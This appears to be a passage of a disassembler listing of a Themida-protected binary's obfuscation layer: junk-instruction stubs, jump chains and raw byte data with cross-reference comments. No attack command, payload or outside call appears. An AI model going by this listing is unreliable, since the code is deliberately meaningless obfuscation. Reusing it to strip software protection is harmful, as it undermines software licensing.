dd 0F931CF31h, 26BD5541h, 0C1372402h, 0F58108EDh, 9AD3F50h
dd 0E902E5C1h, 0A642h, 0C781DF01h, 2EF0425Eh, 57241C8Bh
dd 52E9E789h, 5AFFFFB4h, 4C481h, 47E90000h, 89FFFFFAh
dd 0E1C15DE9h, 8DC18104h, 815A68AFh, 4ECh, 243C8900h, 0E8F2BEBFh
dd 5FF901BAh, 7CCABE56h, 0F0011B1Fh, 2DC8295Eh, 1B1F7CCAh
dd 4257E9h
db 0
; ---------------------------------------------------------------------------
loc_554B9D: ; CODE XREF: Themida_:00553100j
push ecx
mov ecx, 4516E0Ah
or edx, ecx
mov ecx, [esp]
add esp, 4
push eax
mov eax, 730338ECh
sub eax, 57014F33h
jmp loc_553513
; ---------------------------------------------------------------------------
db 87h
dd 1AE92414h
db 17h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554BC3: ; CODE XREF: Themida_:00560B5Dj
sub esp, 4
mov [esp], esi
mov esi, 1F86A72h
add ebp, esi
pop esi
jmp loc_54FF4E
; ---------------------------------------------------------------------------
loc_554BD9: ; CODE XREF: Themida_:0055162Cj
push 7EDAh
jmp loc_55AC37
; ---------------------------------------------------------------------------
db 81h
dd 0DC5522EFh, 0E9F72939h, 0BF3Dh
; ---------------------------------------------------------------------------
loc_554BF0: ; CODE XREF: Themida_:0055F97Cj
add esp, 4
sub esp, 4
mov [esp], esi
push esp
pop esi
add esi, 4
jmp loc_55BE0D
; ---------------------------------------------------------------------------
loc_554C09: ; CODE XREF: Themida_:00563004j
pop ebx
and ebx, 0C470618h
push eax
mov eax, 7D862DD5h
and ebx, eax
jmp loc_55B871
; ---------------------------------------------------------------------------
db 81h, 0C3h, 3Eh
dd 1783219h, 0BA5257F3h, 26666F97h, 0E0CE9h, 20E95000h
db 9, 1, 0
; ---------------------------------------------------------------------------
loc_554C37: ; CODE XREF: Themida_:0056438Bj
sub [esp+4], esi
add dword ptr [esp+4], 2F573649h
pop esi
mov eax, [esp]
add esp, 4
push edi
push esp
jmp loc_563E78
; ---------------------------------------------------------------------------
db 87h, 34h, 24h
dd 242C895Ch, 8904EC83h, 0BF572424h, 4, 4247C01h, 0BB535D5Fh
dd 4, 291BBA52h, 95E976D6h, 810000A5h, 2A346BC3h, 5AC3813Dh
dd 0E92E4663h, 0BC09h, 4EC8355h, 5D243C89h, 83243C8Bh
dd 0D7F704C4h, 0E3E9FD87h, 0BB000095h, 4EA872D3h, 295BDA01h
dd 2434FFD0h, 8324148Bh, 895104C4h, 4C181E1h, 81000000h
dd 4C1h, 240C8700h, 0FFC2015Ch, 51582434h, 0C181E189h
dd 4, 4C181h, 0C870000h, 0E9575C24h, 872Ch, 54240489h
dd 11D8E9h, 0E9FE8700h, 0FFFFF0F3h
; ---------------------------------------------------------------------------
loc_554CF8: ; CODE XREF: Themida_:0055C1B2j
add esp, 4
xchg edx, [esp]
mov esp, [esp]
jmp loc_54FF17
; ---------------------------------------------------------------------------
loc_554D06: ; CODE XREF: Themida_:00552F08j
add bl, dl
pop edx
push esi
jmp loc_5628A2
; ---------------------------------------------------------------------------
loc_554D0F: ; CODE XREF: Themida_:00550097j
mov edi, 4
add ecx, edi
pop edi
xchg ecx, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], eax
push esi
mov esi, 40BC104Dh
neg esi
xor esi, 0E63FDBCEh
jmp loc_55021B
; ---------------------------------------------------------------------------
dw 0D5F7h
dd 361EC581h, 0E9E93FD2h
db 92h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554D43: ; CODE XREF: Themida_:00551EABj
add edi, ebx
pop ebx
sub esi, edi
pop edi
pop edx
add ecx, esi
jmp loc_560AFF
; ---------------------------------------------------------------------------
db 55h, 0BDh, 27h
dd 817BDE6Ch, 0B7C50FC5h, 8BE809DEh, 36E9242Ch, 4FFFFECh
dd 2044044Eh, 0F58058C5h, 5DB65246h, 0FE16EE80h, 0D1EE80C6h
dd 0E901B652h, 1055h, 0E9D38766h, 3EA7h
aMh db '¬hÃ~',0 ; DATA XREF: Themida_:0054FD64o
align 2
aSi_ db 'éi_',0
dw 5A00h
dd offset dword_445750+5599h
db 0
; ---------------------------------------------------------------------------
loc_554D9D: ; CODE XREF: Themida_:00553C68j
add esp, 4
push edi
jmp loc_562ED7
; ---------------------------------------------------------------------------
loc_554DA9: ; CODE XREF: Themida_:005591DCj
mov esp, [esp]
add edx, 4
sub edx, 4
jmp loc_557BC2
; ---------------------------------------------------------------------------
aSn db '^éN',0Bh,0
align 10h
loc_554DC0: ; CODE XREF: Themida_:005501A0j
add esp, 4
sub esp, 4
mov [esp], ecx
mov ecx, 0
jmp loc_561621
; ---------------------------------------------------------------------------
db 5Dh, 0C1h, 0E8h
dd 0DCA6E902h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554DE2: ; CODE XREF: Themida_:0055A3F6j
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_54FF17
; ---------------------------------------------------------------------------
db 81h
dd 9B5712EBh, 81EB297Eh, 9B5712C3h, 242C8B7Eh, 0E904C483h
dd 94CFh
; ---------------------------------------------------------------------------
loc_554E0C: ; CODE XREF: Themida_:00564114j
sub ch, 0FFh
add ch, 61h
jmp loc_56462C
; ---------------------------------------------------------------------------
db 52h
dd 7C605EBAh, 7EAC175h, 0FA04F281h, 0D02160B9h, 8324148Bh
dd 0E95204C4h, 0AE97h, 0E958E288h, 2E5Bh
; ---------------------------------------------------------------------------
loc_554E3C: ; CODE XREF: Themida_:0055B055j
add edx, edi
mov [edx], cl
pop edx
jmp loc_557646
; ---------------------------------------------------------------------------
loc_554E46: ; CODE XREF: Themida_:0055807Ej
pop ebx
jmp loc_55DBE9
; ---------------------------------------------------------------------------
dd 47C6815Bh, 1347C0Eh, 47EE81FEh, 81347C0Eh, 5365EEEh
dd 2434FF74h, 4C4815Fh, 51000000h, 4B9h, 59CE0100h, 2474FF56h
dd 48F5E04h, 24248B24h, 6E2AE9h, 0EA815D00h, 59BA3329h
dd 0C281CA01h, 59BA3329h, 0FFC4E3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_554E99: ; CODE XREF: Themida_:00560726j
pop esi
push edx
neg dword ptr [esp]
pop edx
not edx
push 501Ch
mov [esp], esi
push 6C8Ch
mov [esp], edi
push 0F94CCCh
jmp loc_556E1C
; ---------------------------------------------------------------------------
db 55h
dd 0A84FB968h, 0F5815D1Eh, 4D03298Dh, 3F16C581h, 0ED8123A5h
dd 7750A548h, 1C8B5553h, 4C48124h, 53000000h, 0FFBCEAE9h
dd 24048FFFh, 0E1F7665Ch, 0F6E95456h, 5A000095h, 8B242C87h
dd 0FFE92424h, 8BFFFFF0h, 0C481243Ch, 4, 0E60EE9h, 0A8685700h
dd 89000076h, 0E92414h, 8F000019h, 875C2404h, 0EE8745EEh
dd 0FFE2EE81h, 0F101258Fh, 9968555Eh, 5D23BD64h, 0ED9BE56h
dd 0E6812496h, 70FF029Fh, 5967BB53h, 0C3816322h, 4A037101h
dd 0CA69F381h, 6DE9AD25h
db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554F57: ; CODE XREF: Themida_:0055282Fj
mov ebx, 3D7C67C3h
mov edi, 427DE74Eh
sub edi, ebx
mov ebx, [esp]
sub esp, 4
mov [esp], edx
jmp loc_55141F
; ---------------------------------------------------------------------------
db 46h, 0C1h, 0E6h
dd 4EC8305h, 0E9240C89h, 0AFD5h
; ---------------------------------------------------------------------------
loc_554F80: ; CODE XREF: Themida_:00558D6Cj
pop edi
push 2C49h
mov [esp], eax
mov eax, 4
add edi, 7674672Ch
add edi, eax
sub edi, 7674672Ch
pop eax
add edi, 4
xor edi, [esp]
jmp loc_555A5F
; ---------------------------------------------------------------------------
dd 81242489h, 42404h, 1C8B0000h, 4EC8124h, 89000000h, 87E9243Ch
db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_554FC3: ; CODE XREF: Themida_:00554608j
mov ch, 0CDh
inc ch
jmp loc_56258D
; ---------------------------------------------------------------------------
dd 60685256h, 5A4B6E0Bh, 0B64F281h, 0D6894B6Eh, 0BC61E9h
dd 0BC48000h, 0E924148Bh, 5792h, 875854B8h, 0E6354814h
dd 484D9950h, 0B41B920Dh, 0F16DE931h, 0FB890000h, 83243C8Bh
dd 0C9E904C4h, 46FFFFD4h, 19BF5750h, 89DB7284h, 0C6295FF8h
dd 3E36E9h
db 0
; ---------------------------------------------------------------------------
loc_555021: ; CODE XREF: Themida_:00554861j
add edi, 4
add edi, 4
jmp loc_562EF6
; ---------------------------------------------------------------------------
loc_55502F: ; CODE XREF: Themida_:005627B0j
add esp, 4
shr ebp, 7
dec ebp
jmp loc_561D89
; ---------------------------------------------------------------------------
loc_55503B: ; CODE XREF: Themida_:00561A41j
pop esp
or edx, eax
shl edx, 1
push 4A76h
mov [esp], eax
push ebx
mov ebx, 2DA01E98h
jmp loc_5625CF
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4832414h, 45326804h, 4890000h, 0AEB1E924h
db 2 dup(0FFh)
word_555066 dw 248Bh ; DATA XREF: Themida_:0054FE90o
dd 0AEA9E924h, 0EC83FFFFh, 241C8904h, 1D7BAFBBh, 0ABEB8109h
dd 1091D7Bh, 241C8BDAh, 14D8E9h
db 0
; ---------------------------------------------------------------------------
loc_555089: ; CODE XREF: Themida_:00558009j
pop esp
mov [esp], edx
mov edx, 62B911DCh
jmp loc_55A766
; ---------------------------------------------------------------------------
db 68h
dd 689Ch, 0BE243489h, 2, 685EF301h, 33A6h, 89243C89h, 4C781E7h
dd 83000000h, 3C3304EFh, 0D27FE924h, 0C330000h, 240C3124h
dd 2B5FE9h, 81DFF700h, 0FFFFFFEFh, 0CBB53FFh, 817A1813h
dd 555371CBh, 0E3814336h, 654357D7h, 11DFE9h, 240C3300h
dd 0FFB0DCE9h, 6C29B9FFh, 0F1817903h, 59CC5301h, 159CF29h
dd 28C781DFh, 8120CF3Fh, 7B7918EFh, 0D1C78139h, 0E9173303h
dd 0DBFFh
; ---------------------------------------------------------------------------
loc_55511C: ; CODE XREF: Themida_:00561A90j
cmp eax, edx
jz loc_55E905
push ebp
push 22DBh
mov [esp], eax
push edx
mov edx, esp
push eax
mov eax, 4
jmp loc_559806
; ---------------------------------------------------------------------------
db 5Dh
dd 15EF389h, 0D0E95BDAh, 58FFFFADh, 0A34959BFh, 0E9C72997h
dd 0EBFBh
; ---------------------------------------------------------------------------
loc_555154: ; CODE XREF: Themida_:00557802j
mov [esp], esi
push edi
sub esp, 4
mov [esp], ebx
push edi
jmp loc_55CC77
; ---------------------------------------------------------------------------
dd 57E9CAFEh, 83FFFFAFh, 0B3E904ECh
db 0D4h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555173: ; CODE XREF: Themida_:00551802j
shl edi, 5
xor edi, 43280A26h
xor edi, 70E021C6h
push edi
xor dword ptr [esp], 106822BCh
pop edx
xor edx, 106822BCh
jmp loc_559A75
; ---------------------------------------------------------------------------
loc_555196: ; CODE XREF: Themida_:0055F900j
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_55B484
; ---------------------------------------------------------------------------
loc_5551A5: ; CODE XREF: Themida_:0055141Aj
pop dword ptr [esp]
pop esp
push ebp
push edx
push esi
jmp loc_559BC8
; ---------------------------------------------------------------------------
aIHum db '\‰,$hãM',0
align 2
dw 3C89h
dd 10CEBF24h, 0FD892C3Fh, 81243C8Bh, 4C4h, 0FD56800h, 1C890000h
dd 71DFBB24h, 0EB817CC1h, 0FFFFFFFFh, 0E907E3C1h, 5C17h
dd 7612CF81h, 0D7F72726h, 176FEF81h, 0F7812D39h, 2B0538EBh
dd 0D7EE9h, 0EB805800h, 0C0B60FA8h, 0A0ECE9h, 4C78100h
dd 0E9000000h, 0FFFFC667h, 4C481h, 0C870000h, 24248B24h
dd 300768h, 24048900h, 0FFCB65E9h, 0F22958FFh, 8324348Bh
dd 0CA0104C4h, 5715C281h, 33594E97h, 14312414h, 24143324h
dd 0F10BE9h, 24148700h, 2414895Ch, 0C281E289h, 4, 4B951h
dd 0E7E90000h, 0E90000A0h, 0FFFFACA7h
; ---------------------------------------------------------------------------
loc_555270: ; CODE XREF: Themida_:005653E0j
sub dl, 1
sub dl, 0FFh
push ecx
mov cl, 0B2h
dec cl
jmp loc_551D59
; ---------------------------------------------------------------------------
dd 0D7A4E953h, 0FA30FFFFh, 0E2805B66h, 9AE28000h, 0E9C4B753h
dd 0FFFFF554h
; ---------------------------------------------------------------------------
loc_555298: ; CODE XREF: Themida_:00561787j
pop edi
push 28EEh
mov [esp], esi
push 416Bh
mov [esp], edx
jmp loc_555484
; ---------------------------------------------------------------------------
loc_5552AE: ; CODE XREF: Themida_:00550F05j
push dword ptr [esp]
pop esi
add esp, 4
add ecx, 4
xor ecx, [esp]
jmp loc_55F7C8
; ---------------------------------------------------------------------------
dw 0C381h
dd 4, 4EB81h, 1C870000h, 24248B24h, 50242489h, 468h, 44015800h
dd 8B580424h, 0C483243Ch, 0E6BB5304h, 0E96E6B21h, 10194h
; ---------------------------------------------------------------------------
loc_5552F8: ; CODE XREF: Themida_:005606F6j
push edi
mov edi, 78D2672Ah
jmp loc_5573B0
; ---------------------------------------------------------------------------
byte_555303 db 66h ; DATA XREF: Themida_:0054FD98o
dd 0E9240C8Bh, 0BD7Bh, 0CD2EE981h, 0CA2928BAh, 592434FFh
dd 4C481h, 0F4E90000h, 81FFFFABh, 0EFB807C3h, 8BDF0935h
dd 0C481241Ch, 4, 7AC9BB53h, 0DF29AB33h, 4613E9h
db 0
; ---------------------------------------------------------------------------
loc_555341: ; CODE XREF: Themida_:00561188j
add ecx, 4
push 5857h
jmp loc_553A39
; ---------------------------------------------------------------------------
db 81h, 0C7h, 5Ch
dd 8116C84Ch, 71198CC7h, 3EFC15Ch, 479EEF81h, 0C7816D23h
dd 549E177Ah, 28C4E9h
db 0
; ---------------------------------------------------------------------------
loc_555371: ; CODE XREF: Themida_:005517A7j
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push esi
mov esi, esp
jmp loc_557318
; ---------------------------------------------------------------------------
dw 0EA01h
dd 0FFE5B4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_555389: ; CODE XREF: Themida_:0055D062j
add ebp, 32A132B2h
sub ebp, edx
sub ebp, 32A132B2h
pop edx
jmp loc_5597DA
; ---------------------------------------------------------------------------
loc_55539D: ; CODE XREF: Themida_:0055B466j
push eax
push esp
push dword ptr [esp]
pop eax
add esp, 4
add eax, 4
add eax, 4
jmp loc_55849C
; ---------------------------------------------------------------------------
aCiufx db '´æˆãfX',0
aSe_0 db 'Ø[饺',0
dd 24148900h, 685166B2h, 7A4h, 0B4240489h, 8BE5886Dh, 0C4832404h
dd 3EDC004h, 76C3E9h, 24448100h, 6E1CDF04h, 34FF5D72h
dd 0C4835924h, 4C18104h, 52000000h, 686A4FBAh, 95EA810Ah
dd 68139035h, 70D0h, 68243C89h, 0F6D834BEh, 5FFA315Fh
dd 0D5E9D101h, 0BE000064h, 55737D2h, 0C14EDEF7h, 0EEC104EEh
dd 0A3EE8102h, 31CB44C8h, 0C31AE9F3h, 4BF0000h, 1000000h
dd 0E0E95FFBh, 5B000086h, 3F40E951h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55544A: ; CODE XREF: Themida_:0055F049j
pop eax
jmp loc_564D5B
; ---------------------------------------------------------------------------
dd 0AA6DC281h, 0E981C6B4h, 53937C67h, 0C181D101h, 53937C67h
dd 0FFC8295Ah, 34FF2434h, 0C4835924h, 0E0895004h, 405h
dd 4BB5300h, 0E9000000h, 0FFFFBEBDh
; ---------------------------------------------------------------------------
loc_555484: ; CODE XREF: Themida_:005552A9j
mov edx, 4
sub esp, 4
mov [esp], eax
jmp loc_5584B1
; ---------------------------------------------------------------------------
aY0Sx db 'Y0ÁéxÛ',0
align 4
loc_55549C: ; CODE XREF: Themida_:0055E7E9j
pop esp
mov [esp], ebp
push edx
jmp loc_551266
; ---------------------------------------------------------------------------
dw 0E4BAh
dd 29245D44h, 0E8015AD5h, 4055Dh, 4330000h, 24043124h
dd 8B240433h, 50E92424h
db 0AAh, 2 dup(0FFh)
byte_5554C7 db 0FFh ; DATA XREF: Themida_:0054FDA0o
dd 34FF2434h, 24048B24h, 4C481h, 89560000h, 4C681E6h, 81000000h
dd 4C6h, 24348700h, 84EFE9h
db 0
; ---------------------------------------------------------------------------
loc_5554ED: ; CODE XREF: Themida_:0055F717j
push dword ptr [eax]
jmp loc_5609A5
; ---------------------------------------------------------------------------
dd 4C2835Dh, 0E9241487h, 3269h, 4C7835Ah, 5C243C87h, 8B243487h
dd 0EC832424h, 240C8904h, 5E08950h, 4, 8704E883h, 0E95C2404h
dd 4D18h, 565DE829h, 5D4E9h, 33E95A00h, 2D00003Ch, 1A21618Eh
dd 8E05C801h, 8B1A2161h, 0C481240Ch, 4, 31240433h, 0CCE92404h
dd 5500003Ch, 8155C589h, 6F88242Ch, 8159419Ch, 9C6F88C1h
dd 48B5D41h, 7B8EE924h, 4870000h, 0E7EEE924h, 0BAFFFFh
dd 29000000h, 31D131CAh, 0D884E9CAh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55558A: ; CODE XREF: Themida_:005654EEj
add esi, edi
pop edi
jmp loc_564998
; ---------------------------------------------------------------------------
loc_555592: ; CODE XREF: Themida_:0055459Fj
push ebx
mov ebx, 49300BA5h
jmp loc_55EFB9
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 0E9000000h, 0D413h, 24148966h, 70D3E9h, 241C8900h, 780647BBh
dd 0FEBAE97Fh, 74FF0000h, 8F5B0424h, 248B2404h, 9CC13824h
dd 0FFA946E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5555D1: ; CODE XREF: Themida_:0055A9E1j
add edi, 3B380553h
add edi, esi
push eax
mov eax, 641E157Ch
sub eax, 6ADC27EEh
neg eax
jmp loc_56139D
; ---------------------------------------------------------------------------
db 89h
dd 80BE2434h, 5020B96Bh, 2E3C95B8h, 0E9C6316Eh, 0FFFFFC31h
dd 0E9242489h, 0C661h
; ---------------------------------------------------------------------------
loc_555608: ; CODE XREF: Themida_:005630D9j
push edx
mov edx, 66ED567Eh
shl edx, 7
add edx, 8954C104h
add ecx, edx
pop edx
jmp loc_557E9A
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4832414h, 69B05004h, 58C328h, 69C380C3h, 2D28E9h
dd 4BD00h, 0E8010000h, 0E9242C8Bh, 176h, 74FF5059h, 8F580424h
dd 68E92404h
db 5Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555653: ; CODE XREF: Themida_:005646F6j
push ebx
mov bh, 2Dh
mov al, 73h
add al, bh
pop ebx
sub bl, al
jmp loc_5541D3
; ---------------------------------------------------------------------------
loc_555662: ; CODE XREF: Themida_:00561128j
push edi
sub esp, 4
push 5C3Dh
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
push ecx
mov ecx, 4
add [esp+4], ecx
pop ecx
pop edi
add edi, 4
sub edi, 4
sub esp, 4
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_55A973
; ---------------------------------------------------------------------------
dw 0C483h
dd 63286804h, 7DE90000h
db 37h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5556B3: ; CODE XREF: Themida_:00550E80j
sub eax, esi
mov esi, [esp]
add esp, 4
add esi, eax
pop eax
add esi, 0CE4A75E2h
mov ecx, esi
mov esi, [esp]
add esp, 4
jmp loc_562B28
; ---------------------------------------------------------------------------
db 89h
dd 0E789243Ch, 0F8A5E9h, 4C68100h, 81000000h, 4C6h, 24348700h
dd 4A2BE9h, 75C28100h, 8966DED6h, 24148BD6h, 0E904C483h
dd 0F193h, 0F7D5F75Dh, 3E5C1D5h, 0E22CBB53h, 0DD29880Ah
dd 5DEF295Bh, 270AE9h
db 0
; ---------------------------------------------------------------------------
loc_555721: ; CODE XREF: Themida_:00563505j
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
jmp loc_55F09E
; ---------------------------------------------------------------------------
loc_555733: ; CODE XREF: Themida_:0055AEE9j
pop eax
push ebp
push edi
jmp loc_552013
; ---------------------------------------------------------------------------
loc_55573B: ; CODE XREF: Themida_:0056055Cj
mov ecx, 4
sub ebx, ecx
jmp loc_5632FD
; ---------------------------------------------------------------------------
loc_555747: ; CODE XREF: Themida_:00559377j
mov eax, [esp]
add esp, 4
sub eax, 15E475FBh
jmp loc_551BF6
; ---------------------------------------------------------------------------
word_55575A dw 8B66h ; DATA XREF: Themida_:0054FEA8o
dd 73682404h, 89000003h, 0AE9241Ch
db 0B5h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55576B: ; CODE XREF: Themida_:00564EC0j
sub esp, 4
mov [esp], eax
mov eax, 7179695Eh
xor ebp, eax
pop eax
add ebp, 1B2C4AF9h
or ecx, ebp
jmp loc_5607C5
; ---------------------------------------------------------------------------
aS_6 db '^é=,',0
dw 5C00h
dd 68240489h, 16D356A2h, 263D0558h, 0E0C10CAEh, 62E95107h
dd 81FFFFB8h, 0EC4532EBh, 0A1C38107h, 15A4B1Ah, 0D1C2E9C3h
dd 0EC830000h, 406EE904h, 5E5F0000h, 4C181h, 0C870000h
dd 0F7685C24h, 89000056h, 0BEE9240Ch
db 59h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5557DB: ; CODE XREF: Themida_:0055AFDCj
push 5F95h
mov [esp], ebx
mov ebx, 6F1474BBh
jmp loc_553769
; ---------------------------------------------------------------------------
db 5Dh, 58h, 81h
dd 0FFFFFFC1h, 0FAF181FFh, 3163D6ACh, 240C8BCBh, 8104C483h
dd 104A7AEBh, 6EC38140h, 1F22DD0h, 2434FFDFh
db 5Bh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_563147
; ---------------------------------------------------------------------------
db 57h, 89h, 0CFh
dd 895FFB89h, 0D1E5E9D8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55582A: ; CODE XREF: Themida_:00561144j
pop dword ptr [esp]
mov esp, [esp]
test cl, al
pushf
jmp loc_54FF17
; ---------------------------------------------------------------------------
dword_555838 dd 9D1C77FFh, 1CD25966h, 0D0E99C24h, 5AFFFFA6h, 4EB81h
; DATA XREF: Themida_:0054FDCCo
dd 1C870000h, 8F545C24h, 0E9562404h, 0FFFFCFB8h, 0FFA6B6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_555861: ; CODE XREF: Themida_:0055389Aj
add esp, 4
jmp loc_558D71
; ---------------------------------------------------------------------------
loc_555869: ; CODE XREF: Themida_:0055B040j
pop eax
push edi
push ecx
mov ecx, 592F4306h
dec ecx
or ecx, 678458Fh
neg ecx
neg ecx
xor ecx, 5F7F478Bh
mov edi, ecx
pop ecx
add eax, edi
jmp loc_5593B3
; ---------------------------------------------------------------------------
dd 7771BF57h, 0EFC10426h, 41EF8107h, 8150160Dh, 600AECC7h
dd 5FFB897Ah, 815BD831h, 0C677DFC5h, 81C5012Ah, 0C677DFEDh
dd 0F19BE92Ah, 8950FFFFh, 2D52E9E8h, 13680000h, 89000015h
dd 0E954241Ch, 71FBh
; ---------------------------------------------------------------------------
loc_5558D0: ; CODE XREF: Themida_:0055856Ej
jmp loc_55E905
; ---------------------------------------------------------------------------
db 29h, 0D9h, 0FFh
dd 835B2434h, 2EE904C4h, 810000A2h, 7E5C4CC1h, 0E41FE909h
dd 0EE810000h, 108A70C2h, 0FFFB4AE9h, 2C483FFh, 3A7868h
dd 24148900h, 1ADF68h, 7E55E900h, 0C870000h, 1C895C24h
dd 51C3B724h, 7FE9FD88h, 540000F0h, 0D5E9575Dh, 0E90000A3h
dd 0FFFFA5EBh, 158C631h, 53E7E9F3h, 0C6010000h, 6B9DBD55h
dd 16E930BEh
db 12h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555943: ; CODE XREF: Themida_:00561FE9j
push 3DF8h
mov [esp], esi
mov esi, 40h
mov edi, esi
mov esi, [esp]
push 3850h
mov [esp], ecx
mov ecx, esp
push edi
mov edi, 4
add ecx, edi
pop edi
push edx
mov edx, 4
add ecx, edx
pop edx
xchg ecx, [esp]
jmp loc_565014
; ---------------------------------------------------------------------------
db 41h, 81h, 0C1h
dd 1C2F5582h, 0A268C181h, 0C829D755h, 9F2D5D59h, 0FF7ADC5Ch
dd 3C8B2434h, 4C48324h, 4C481h, 0E9570000h, 0FFFFB5A8h
dd 295AD529h, 34FF5DE9h, 0C4815E24h, 4, 0FFF709E9h, 4C481FFh
dd 80000000h, 0C580C4CDh, 86C5860Eh, 86D3F6D8h, 80C586D8h
dd 0EB28DDF5h, 75B8E9h, 232E6800h, 24890000h, 24048124h
dd 4, 6824048Fh, 0AEBh, 0F251E9h
db 0
; ---------------------------------------------------------------------------
loc_5559F5: ; CODE XREF: Themida_:00558A84j
push esi
mov esi, 4
add ecx, esi
pop esi
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebx
push 1000000h
jmp loc_557E7A
; ---------------------------------------------------------------------------
db 81h, 0C5h, 1Eh
dd 96C6D1Dh, 0B8505DEAh, 6DC83A65h, 34FFC201h, 0C4835824h
dd 0B8C28104h, 1154845h, 2434FFD3h, 0E811E9h, 1BEA8100h
dd 8134376Ah, 0FF2828C2h, 0DC86E966h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_555A4E: ; CODE XREF: Themida_:00559660j
xchg eax, esi
jmp loc_562506
; ---------------------------------------------------------------------------
dd 2CD3665Ch, 0B8E99C24h
db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_555A5F: ; CODE XREF: Themida_:00554FA3j
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
push ecx
jmp loc_554384
; ---------------------------------------------------------------------------
dw 5058h
dd 1EE950B0h, 5B000072h, 4C481h, 54520000h, 0FFE400E9h
db 0FFh
byte_555A85 db 0ACh, 30h, 0D8h ; DATA XREF: Themida_:0054FE70o
dd 5B368h, 4A9E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_555A92: ; CODE XREF: Themida_:00552ED4j
mov [esp], ebx
jmp loc_55056D
; ---------------------------------------------------------------------------
dw 0E9C0h
dd 0C1E18006h, 0B3A3E9h
db 0
; ---------------------------------------------------------------------------
loc_555AA5: ; CODE XREF: Themida_:0055C348j
mov [esp], ebp
mov ebp, 8528A3BFh
sub ecx, ebp
pop ebp
sub esp, 4
mov [esp], ebx
mov ebx, ecx
jmp loc_55FE8B
; ---------------------------------------------------------------------------
aYsR db 'Yé¼à',0
dw 8B00h
dd 4892424h, 2434FF24h, 9F28E9h
db 0
; ---------------------------------------------------------------------------
loc_555AD1: ; CODE XREF: Themida_:0055FDDFj
add esp, 4
add edx, 200C807Ah
jmp loc_559CA5
; ---------------------------------------------------------------------------
dw 1489h
dd 56F9E924h, 0C3890000h, 0FFC99FE9h
db 0FFh
byte_555AF1 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0054FE40o
dd 8B2434FFh, 0C481240Ch, 4, 21DBE9h, 89C68900h, 7DE95EF2h
dd 0B9000055h, 421A40D7h, 4244481h, 478A6AA0h, 4244C01h
dd 4246C81h, 478A6AA0h, 0E92434FFh, 7797h, 241C895Ch, 0EA80E3B7h
dd 66FA00B2h, 0EF80E951h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_555B42: ; CODE XREF: Themida_:0056447Aj
sub dword ptr [esp], 49AD6C02h
pop edx
add edx, 49AD6C02h
jmp loc_555FB0
; ---------------------------------------------------------------------------
db 51h, 0B9h, 0DCh
dd 8111244Ah, 282A50E9h, 6014E99Ch, 0EDC10000h, 73CD8107h
dd 0F7121E06h, 0ECC581DDh, 814A9557h, 0CE2B9AF5h, 7B77E97Ch
dd 0B8500000h, 7C5271FCh, 8158C389h, 0DB042444h, 0E9466B71h
dd 9D81h
; ---------------------------------------------------------------------------
loc_555B98: ; CODE XREF: Themida_:0055E1B9j
sub [edi+24h], ebx
push dword ptr [esp]
mov ebx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_55E823
; ---------------------------------------------------------------------------
byte_555BCD db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:0054FE44o
dd 0D359669Dh, 0E99C241Ch, 0FFFFA33Bh, 2414335Eh, 33241431h
dd 248B2414h, 24042824h, 0A325E99Ch, 0C481FFFFh, 4, 31241433h
dd 14332414h, 24248B24h, 9C2424D3h, 0FFA30AE9h, 3BB850FFh
dd 5323DC6Ah, 283B0968h, 0DEE95B55h, 0F70000BCh, 81D1F7D9h
dd 0E887FDC1h, 59CA01DBh, 2B951h, 0CA010000h, 0E9240C8Bh
dd 52CCh, 0C281E289h, 4, 0B500E9h
db 0
byte_555C49 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054FCB8o
aRtzscq db '$RTZéCï',0
dd 4C48300h, 3084C580h, 89BE9E8h, 0B0E90000h, 89FFFFA2h
dd 0ABE95DEEh
db 0BFh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555C6F: ; CODE XREF: Themida_:00553B5Bj
pop esp
jmp loc_558473
; ---------------------------------------------------------------------------
loc_555C75: ; CODE XREF: Themida_:00552DBCj
neg edi
inc edi
shl edi, 2
push ebx
mov ebx, 31C91C64h
jmp loc_5560BC
; ---------------------------------------------------------------------------
dw 0C158h
dd 546804E3h, 8900007Eh, 0E9562404h, 0AA48h, 0E56BBB53h
dd 0DF8940B3h, 5FF8015Bh, 0FFAB96E9h, 0D7F75FFFh, 53BECF81h
